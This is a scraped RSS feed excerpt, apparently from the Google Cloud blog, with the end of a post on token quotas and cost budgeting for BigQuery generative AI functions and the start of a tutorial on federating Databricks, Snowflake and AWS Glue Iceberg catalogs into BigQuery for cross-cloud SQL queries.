    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Count the input text tokens for each product review\r\nSELECT\r\n  SUM(\r\n    AI.COUNT_TOKENS(\r\n      CONCAT(&amp;#x27;Classify the sentiment of this review as positive, negative, or neutral: &amp;#x27;, review_text),\r\n\r\n      endpoint =&amp;gt; &amp;#x27;gemini-3.1-flash-lite&amp;#x27;).result) AS total_input_tokens\r\nFROM\r\n  `my_project.my_dataset.product_reviews`;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bebf090&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The count is a lower bound on input tokens. It doesn't include output or thinking tokens, the instructions each AI function adds around your input, or non-text inputs such as images. Use it to:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Gauge the input side of a workload&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; before you launch it.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Right-size your quotas&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; together with a small sample run that measures actual input and output usage.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Translate tokens into dollars&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; using the published &lt;/span&gt;&lt;a href="https://cloud.google.com/vertex-ai/generative-ai/pricing"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini platform pricing&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for your model.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;From tokens to budget: a worked example&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Suppose you want to keep a project's daily AI spend around &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;$100&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; with the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/gemini-enterprise-agent-platform/models/gemini/3-1-flash-lite"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Gemini 3.1 Flash-Lite&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; model. As of today's published pricing (BigQuery processes in batch which provides a 50% discount):&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Input tokens:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; $0.125 per 1 million tokens&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Output tokens (response + reasoning):&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; $0.75 per 1 million tokens&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If a small sample run shows an average &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;100:1 input-to-output token ratio&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, you can solve for a daily budget:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;Cost:   0.125 × I + 0.75 × O = 100     (I, O in millions of tokens)\r\nRatio:  I = 100 × O&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6214c76d0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Solving gives about &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;754 million input tokens&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;7.54 million output tokens&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; per day. Set &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;AI input tokens per day&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;AI output tokens per day&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; to these values to hold the project near $100/day. If a project uses models with different prices, budget per model or blend the rates.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Best practices for managing AI cost&lt;/span&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Start with per-user quotas.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; They stop one user or runaway experiment from draining the project's budget.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Measure before you scale.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Use &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; to size your input, then check a small sample run in the usage chart before setting limits.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Mind the output side.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Output tokens cost more. Where a function accepts &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;max_output_tokens&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;, set it to bound generation length.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Monitor and iterate.&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Adjust limits as real usage and budgets change.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Get started&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Token-based cost management is available now. To begin:&lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Open &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;IAM &amp;amp; Admin → &lt;/strong&gt;&lt;a href="https://console.cloud.google.com/iam-admin/quotas/list"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Quotas &amp;amp; System Limits&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; in the Google Cloud Console and filter by &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;BigQuery API&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Review the four &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;AI-related&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;token quotas&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and set limits that match your budget.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Use &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/reference/standard-sql/bigqueryml-syntax-ai-count-tokens"&gt;&lt;code style="text-decoration: underline; vertical-align: baseline;"&gt;AI.COUNT_TOKENS&lt;/code&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to size your input data.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For the full details, see the documentation on &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/control-genai-costs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;controlling generative AI costs&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With token-based guardrails in place, your teams can use generative AI in BigQuery with the cost predictability your organization needs.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Wed, 14 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</guid><category>AI &amp; Machine Learning</category><category>BigQuery</category><category>Data Analytics</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Predictable AI spend in BigQuery: Introducing cost management for generative AI functions</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/data-analytics/using-bigquerys-generative-ai-cost-management-features/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Tushar Jaiswal</name><title>Software Engineer</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Alicia Williams</name><title>Developer Advocate</title><department></department><company></company></author></item><item><title>Cross-cloud conversational analytics made simple with open standards</title><link>https://cloud.google.com/blog/products/data-analytics/cross-cloud-conversational-analytics-with-borderless-lakehouse/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The reality for most organizations is that data lives everywhere. As engineering teams expand and adopt specialized platforms for their workloads, enterprise data naturally disperses across multiple clouds and operational systems. When analytical and AI initiatives require context from across the entire organization,these teams traditionally face a difficult trade-off: build complex extraction pipelines to copy data into a central repository or accept fragmented reporting.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Traditional architectures address this fragmentation with scheduled extraction pipelines that copy remote datasets into a central staging warehouse. This approach creates synchronization lag, adds recurring storage costs, and triggers variable network egress fees. When schemas change upstream, pipelines break, and teams spend hours reconciling metrics across out-of-sync dashboards.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery and Google Cloud’s borderless Lakehouse offer a streamlined way to solve this challenge with a foundation based on the open Apache Iceberg REST catalog specification. Rather than moving data to the compute engine, you can bring Google Cloud compute and generative AI directly to your data, querying it in place across Databricks, Snowflake, and AWS Glue.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In this post, we walk through how to configure Databricks Unity Catalog for federation into BigQuery (AWS Glue and Snowflake set up in appendix),  run a single query joining data across all three external catalogs, and use conversational analytics in BigQuery to explore the consolidated data with natural language.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/1_dTgBJRG.max-1000x1000.png"
        
          alt="1"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="bhx8b"&gt;Figure 1: BigQuery federates metadata across external Apache Iceberg REST catalogs through Lakehouse, enabling in-place conversational analytics without data migration.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;The borderless lakehouse architecture&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This solution uses &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-lakehouse-catalogs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse runtime catalog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to synchronize metadata from other cloud providers, allowing you to query data with BigQuery or external open source engines through the Apache Iceberg REST catalog endpoint, all without migrating the data. Because Databricks Unity Catalog, Snowflake Horizon Catalog, and AWS Glue Data Catalog support the open Apache Iceberg REST catalog specification, you can apply a consistent connection pattern across all three platforms.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When you run a federated query, Lakehouse runtime catalog separates metadata synchronization from storage access:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Metadata synchronization:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Lakehouse runtime catalog  periodically syncs schemas, snapshot pointers, and table definitions from the remote catalog based on a refresh schedule you define.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Direct storage access:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; During query runtime, a compatible engine reads Parquet data files directly from remote object storage, such as Amazon S3, using temporary credentials issued by the remote platform.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;All query processing runs within Google cloud compute such as &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-spark/docs"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Managed Service  for Apache Spark&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. Remote Databricks clusters, Snowflake virtual warehouses, and AWS compute instances are not invoked during execution.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Authentication follows an explicit three-step deployment pattern: create the federated catalog in Google Cloud, inspect its configuration to retrieve its automatically generated service account, and grant access permissions within the remote platform.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You can use AI to generate sample data. The schema details for tables are provided below. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Configure Databricks Unity Catalog&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We begin in Databricks by preparing the catalog and table. In Unity Catalog, federated access requires that your target schema be associated with an external location registered in Databricks:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;-- Run inside Databricks SQL workspace\r\nCREATE CATALOG IF NOT EXISTS dbx_retail_db;\r\n\r\n-- Declare the managed target location at the schema level\r\nCREATE SCHEMA IF NOT EXISTS dbx_retail_db.dbx_core \r\n  MANAGED LOCATION &amp;#x27;s3://my-databricks-bucket/retail/data/&amp;#x27;;\r\n\r\n-- Create the Iceberg dimension table\r\nCREATE TABLE IF NOT EXISTS dbx_retail_db.dbx_core.dim_products (\r\n    product_key INT,\r\n    product_id STRING,\r\n    product_name STRING,\r\n    category STRING,\r\n    subcategory STRING,\r\n    brand STRING,\r\n    price DOUBLE,\r\n    cost DOUBLE\r\n)\r\nUSING iceberg;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62024ac10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;You can use AI to generate sample data. The schema details for tables are provided in each section.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Before external engines can read this table, a Databricks metastore administrator must enable &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;External data access&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; on the metastore details tab.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Go to Databricks Admin account and under User Management, create a &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Databricks Service Principal and make a note of its UUID &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;"6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx"&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Connect Databricks to BigQuery&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Next, create the federated catalog inside Google Cloud using the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;gcloud&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; command-line tool. You will need your Databricks workspace URL and the application ID of your Databricks service principal:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;export GCP_PROJECT_ID=&amp;quot;my-lakehouse-project&amp;quot;\r\nexport GCP_REGION=&amp;quot;us-central1&amp;quot;\r\n\r\ngcloud alpha biglake iceberg catalogs create dbx_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot; \\\r\n  --primary-location=&amp;quot;$GCP_REGION&amp;quot; \\\r\n  --catalog-type=&amp;quot;federated&amp;quot; \\\r\n  --federated-catalog-type=&amp;quot;unity&amp;quot; \\\r\n  --unity-instance-name=&amp;quot;dbc-xxxxxxxx-xxxx.cloud.databricks.com&amp;quot; \\\r\n  --unity-catalog-name=&amp;quot;dbx_retail_db&amp;quot; \\\r\n  --unity-service-principal-application-id=&amp;quot;6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx&amp;quot; \\\r\n  --refresh-interval=&amp;quot;300s&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61b913a50&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Once created, describe the catalog to view its assigned service account:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;gcloud alpha biglake iceberg catalogs describe dbx_retail_db \\\r\n  --project=&amp;quot;$GCP_PROJECT_ID&amp;quot;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd62205cd90&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Return to Databricks to assign permissions to your service principal:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;-- Grant catalog traversal permission\r\nGRANT USE CATALOG ON CATALOG dbx_retail_db \r\n  TO `6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx`;\r\n\r\n-- Grant schema and read permissions\r\nGRANT USE SCHEMA,EXTERNAL USE SCHEMA, SELECT ON SCHEMA dbx_retail_db.dbx_core \r\n  TO `6ea7b861-c5a5-xxxx-xxxx-xxxxxxxxxxxx`;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bee2a10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You must grant the &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;EXTERNAL USE SCHEMA&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt; privilege to the Databricks Service Principal on the target schemas or catalog to enable credential vending for external data access.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Finally, to complete the connection, configure the federation policy on the Databricks service principal with the following details - &lt;/span&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Issuer URL* -  &lt;/span&gt;&lt;a href="https://accounts.google.com" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt;https://accounts.google.com&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Subject* -  numeric subject ID returned by the catalog describe command eg 1124251400450xxxxxxxx&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: decimal; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;span style="vertical-align: baseline;"&gt;Audiences - https://accounts.cloud.databricks.com&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Run one query across three clouds&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Federated Iceberg tables are addressed in BigQuery using four-part paths: &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;project.catalog.namespace.table&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In our environment, sales transactions reside natively in BigQuery:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;CREATE SCHEMA IF NOT EXISTS local_retail_dataset\r\nOPTIONS(location=&amp;quot;us-central1&amp;quot;);\r\n\r\nCREATE OR REPLACE TABLE `my-lakehouse-project.local_retail_dataset.fact_sales` (\r\n    sale_id STRING,\r\n    sale_date DATE,\r\n    customer_key INT64,\r\n    product_key INT64,\r\n    store_key INT64,\r\n    quantity INT64,\r\n    unit_price NUMERIC,\r\n    discount NUMERIC,\r\n    total_revenue NUMERIC,\r\n    total_cost NUMERIC,\r\n    margin NUMERIC\r\n)\r\nPARTITION BY sale_date\r\nCLUSTER BY store_key, product_key;&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bee3e10&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;We can now run a single SQL query joining our native sales transactions with customer records in Snowflake, product lines in Databricks, and store locations in AWS Glue:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;quot;SELECT \r\n    c.first_name || &amp;#x27; &amp;#x27; || c.last_name AS customer_name, -- From Snowflake Iceberg\r\n    p.product_name,                                      -- From Databricks Iceberg\r\n    s.store_name,                                        -- From AWS S3 Iceberg\r\n    SUM(f.quantity) AS total_units_sold,                 -- From BigQuery native fact\r\n    SUM(f.total_revenue) AS total_sales_revenue          -- From BigQuery native fact\r\nFROM `my-lakehouse-project.local_retail_dataset.fact_sales` f\r\nINNER JOIN `my-lakehouse-project.sf_retail_db.CORE.DIM_CUSTOMERS` c \r\n  ON f.customer_key = c.customer_key\r\nINNER JOIN `my-lakehouse-project.dbx_retail_db.dbx_core.dim_products` p \r\n  ON f.product_key = p.product_key\r\nINNER JOIN `my-lakehouse-project.glue_retail_db.glue_retail_db.dim_stores` s \r\n  ON f.store_key = s.store_key\r\nGROUP BY 1, 2, 3\r\nORDER BY total_sales_revenue DESC\r\nLIMIT 10;&amp;quot;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd61bfa7250&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery processes the joins in place. Notice that Snowflake identifiers appear in uppercase (&lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;CORE.DIM_CUSTOMERS&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;), while Databricks and AWS Glue maintain lowercase table paths.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/2_rJTiq5W.max-1000x1000.png"
        
          alt="2"&gt;
        
        &lt;/a&gt;
      
        &lt;figcaption class="article-image__caption "&gt;&lt;p data-block-key="bhx8b"&gt;Figure 2 - Query results combining data across Snowflake, Databricks, and AWS Glue.&lt;/p&gt;&lt;/figcaption&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Explore cross-cloud data with natural language&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Because federated Iceberg tables behave like native tables within BigQuery, downstream analytical features inherit access directly. You can point conversational analytics in BigQuery at these federated schemas to let team members explore cross-cloud data using natural language prompts.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To give conversational analytics full operational context, we save our federated join as a logical view:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
